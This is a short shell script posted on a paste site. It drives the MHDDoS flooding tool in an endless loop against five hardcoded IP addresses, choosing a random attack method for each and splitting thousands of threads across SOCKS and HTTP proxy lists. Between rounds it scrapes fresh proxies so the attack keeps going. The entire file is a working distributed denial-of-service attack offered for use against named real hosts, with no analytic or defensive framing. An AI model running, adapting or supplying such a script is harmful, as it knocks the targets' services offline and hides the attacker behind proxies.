Untitled

 avatar
unknown
sh
3 years ago
1.2 kB
3
Indexable
#!/bin/bash
TARGETS=("https://194.54.14.168:443" "https://5.188.189.254:443" "https://37.18.111.225:443" "https://37.18.111.226:443" "https://185.157.96.145:443")
METHODS=("GET" "POST" "CFB" "BYPASS" "STRESS" "BOT" "DYN" "SLOW" "HEAD" "NULL" "PPS" "EVEN" "DGB")
PERIOD=120

THREADS=8000
SIZE=${#TARGETS[@]}
S4_THREADS=$((THREADS * 4 / 6 / SIZE))
S5_THREADS=$((THREADS / 6 / SIZE))
HTTP_THREADS=$((THREADS / 6 / SIZE))

while true
do
    cd MHDDoS
    for TARGET in ${TARGETS[@]}; do
       METHOD=${METHODS[ $RANDOM % ${#METHODS[@]} ]}
       python start.py $METHOD $TARGET 4 $S4_THREADS socks4.txt 100 $PERIOD &
       python start.py $METHOD $TARGET 5 $S5_THREADS socks5.txt 100 $PERIOD &
       python start.py $METHOD $TARGET 1 $HTTP_THREADS http.txt 100 $PERIOD &
       
       #python start.py $METHOD $TARGET $S4_THREADS $PERIOD 4 socks4.txt &
       #python start.py $METHOD $TARGET $S5_THREADS $PERIOD 5 socks5.txt &
       #python start.py $METHOD $TARGET $HTTP_THREADS $PERIOD 1 http.txt &
    done
    wait

    cd ../
    cd proxy-scraper-checker
    python main.py
    rm -rf ../MHDDoS/files/proxies
    mv proxies ../MHDDoS/files/
    echo "Proxies updated successfully"
    cd ../
done
Editor is loading...